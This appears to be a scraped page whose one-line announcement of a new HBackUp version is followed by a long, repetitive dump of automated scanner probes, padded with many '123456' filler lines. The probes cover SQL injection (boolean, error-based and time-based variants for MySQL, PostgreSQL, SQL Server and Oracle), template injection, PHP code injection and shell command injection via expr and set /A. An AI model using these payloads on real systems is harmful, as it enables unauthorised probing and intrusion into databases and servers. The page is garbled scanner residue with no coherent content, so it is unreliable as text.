New HBackUp version is now available for download.
123456
${@var_dump(md5(542465208))};
'-var_dump(md5(717397181))-'
123456/**/and+1=1
123456/**/and+3=9
123456'and't'='t
/*1*/{{816308648+848328834}}
123456'and'g'='i
${864370759+840743840}
${811005854+855290247}
123456"and"l"="l
${(829632151+820217697)?c}
123456expr 808834027 + 972521599
123456"and"w"="k
#set($c=815559924+935730892)${c}$c
123456|expr 921984525 + 874060370
<%- 929071123+837302186 %>
123456$(expr 902528311 + 857019797)
123456&set /A 894761677+945365468
123456'and/**/extractvalue(1,concat(char(126),md5(1943886518)))and'
expr 831389347 + 832496722
(select*from(select+sleep(0)union/**/select+1)a)
123456"and/**/extractvalue(1,concat(char(126),md5(1096769650)))and"
(select*from(select+sleep(2)union/**/select+1)a)
extractvalue(1,concat(char(126),md5(1303666040)))
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
123456'and(select'1'from/**/cast(md5(1579478984)as/**/int))>'0
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
123456/**/and/**/cast(md5('1503236962')as/**/int)>0
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1829493708')))
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1171680843')))>'0
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
123456鎈'"\(
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
123456'"\(
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
123456'and(select+1)>0waitfor/**/delay'0:0:0
123456'and(select+1)>0waitfor/**/delay'0:0:2
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('p',0)
123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('a',2)
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('q',0)='q
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('m',2)='m
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
${@var_dump(md5(542465208))};
123456
123456
123456
123456
'-var_dump(md5(717397181))-'
123456/**/and+1=1
123456
123456
123456
123456
123456/**/and+3=9
123456
123456
123456
123456
123456
123456'and't'='t
/*1*/{{816308648+848328834}}
123456
123456
123456
123456
123456'and'g'='i
${864370759+840743840}
123456
123456
${811005854+855290247}
123456
123456"and"l"="l
${(829632151+820217697)?c}
123456
123456
123456
123456
expr 808834027 + 972521599
123456"and"w"="k
#set($c=815559924+935730892)${c}$c
123456
123456
123456|expr 921984525 + 874060370
123456
<%- 929071123+837302186 %>
123456
123456
123456$(expr 902528311 + 857019797)
123456
123456
123456
123456
123456&set /A 894761677+945365468
123456
123456
123456
123456'and/**/extractvalue(1,concat(char(126),md5(1943886518)))and'
expr 831389347 + 832496722
(select*from(select+sleep(0)union/**/select+1)a)
123456
123456"and/**/extractvalue(1,concat(char(126),md5(1096769650)))and"
123456
123456
(select*from(select+sleep(2)union/**/select+1)a)
123456
extractvalue(1,concat(char(126),md5(1303666040)))
123456
123456
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
123456
123456'and(select'1'from/**/cast(md5(1579478984)as/**/int))>'0
123456
123456
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
123456/**/and/**/cast(md5('1503236962')as/**/int)>0
123456
123456
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1829493708')))
123456
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1171680843')))>'0
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
123456鎈'"\(
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
123456'"\(
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
123456
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
123456
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
123456
123456'and(select+1)>0waitfor/**/delay'0:0:0
123456
123456
123456'and(select+1)>0waitfor/**/delay'0:0:2
123456
123456
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('p',0)
123456
123456
123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('a',2)
123456
123456
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('q',0)='q
123456
123456
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('m',2)='m
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456